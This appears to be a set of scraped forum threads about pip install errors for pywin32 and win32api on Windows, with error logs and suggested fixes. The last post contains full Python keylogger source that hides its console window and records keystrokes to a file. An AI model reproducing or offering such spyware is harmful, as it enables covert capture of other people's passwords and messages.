There is a a new option as well: get it via pip! There is a package pypiwin32 with wheels available, so you can just install with: pip install pypiwin32!
Edit: Per comment from @movermeyer, the main project now publishes wheels at pywin32, and so can be installed with pip install pywin32
» pip install pywin32
There is a a new option as well: get it via pip! There is a package pypiwin32 with wheels available, so you can just install with: pip install pypiwin32!
Edit: Per comment from @movermeyer, the main project now publishes wheels at pywin32, and so can be installed with pip install pywin32
'pywin32' is its canonical name.
http://sourceforge.net/projects/pywin32/
The answer may seem straightforward, but I've been banging my head against a wall for hours at this point.
What I've tried so far pip install pypiwin32:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32 Collecting pypiwin32 Using cached https://files.pythonhosted.org/packages/d0/1b/2f292bbd742e369a100c91faa0483172cd91a1a422a6692055ac920946c5/pypiwin32-223-py3- none-any.whl Collecting pywin32>=223 (from pypiwin32) Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32) (from versions: ) No matching distribution found for pywin32>=223 (from pypiwin32)
pip install pywin32:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pywin32 Collecting pywin32 Could not find a version that satisfies the requirement pywin32 (from versions: ) No matching distribution found for pywin32
Several specific versions like pip install pywin32==226:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pywin32==226 Collecting pywin32==226 Could not find a version that satisfies the requirement pywin32==226 (from versions: ) No matching distribution found for pywin32==226
and pip install pypiwin32==220:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32==220 Collecting pypiwin32==220 Could not find a version that satisfies the requirement pypiwin32==220 (from versions: 219, 223) No matching distribution found for pypiwin32==220
Even some shot-in-the-dark kind of attempts like pip install win32api:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install win32api Collecting win32api Could not find a version that satisfies the requirement win32api (from versions: ) No matching distribution found for win32api
and python -m pip install pypiwin32:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>python -m pip install pypiwin32 Collecting pypiwin32 Using cached https://files.pythonhosted.org/packages/d0/1b/2f292bbd742e369a100c91faa0483172cd91a1a422a6692055ac920946c5/pypiwin32-223-py3- none-any.whl Collecting pywin32>=223 (from pypiwin32) Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32) (from versions: ) No matching distribution found for pywin32>=223 (from pypiwin32)
I even tried many combinations of these previous commands using previous versions of pip and python to no avail. Do any of you know a possible solution?
Try using easy_install:
pip install setuptools
easy_install pypiwin32
Shouldn't it be python -m pip install pywin32 not pypiwin32?
Compare the wheels on both pages:
https://pypi.org/project/pypiwin32/#files
https://pypi.org/project/pywin32/#files
edit: I believe pypiwin32 was added a long time ago, so there could be a pip-friendly setup or something, but later abandoned. Some guides out there mention the wrong one. ¯\(ツ)/¯
So when you try to install from "pypiwin32", the pypiwin32 only goes up to version 223, so tries to use pywin32 to get the wheel for version 223, and there is nothing for python > 3.7 until a few versions later. So pypiwin32 is destined to fail here. The pywin32 package should just get the most recent version (227) which works on python 3.8
[SOLVED]
I've lost a lot of hair due to one problem i've had for past 2 days.
Trying to import ToastNotifier from win10toast and it gives me this:
File "C:\Users\Asd\AppData\Local\Programs\Python\Python310\lib\win10toast\__init__.py", line 19, in <module>
from win32api import GetModuleHandle
ModuleNotFoundError: No module named 'win32api'
Trying to wrap my head around that is it because win32api/win10toast is in the wrong folder by default. I've tried reinstalling python and checking the PATH box, also i moved win32api folders into the win10toast folders
Which folder are modules supposed to install by default?
Going to delete system 32 soon
here is a post for relaxation. how do you feel about using Win32API in python? don't you find it strange?
when there is C++, and even C#, which allows you to do it much more conveniently
Hey fellas I need help installing win32api on python. Im messing around following tutorials since im super new to coding and wanted to learn how to make a keylogger. The current code I have is--
# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
if event.Ascii != 0 or 8:
# open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Shamelessly used from another site. But when I try to run it this error comes up.
line 3, in <module>
import win32api
ModuleNotFoundError: No module named 'win32api'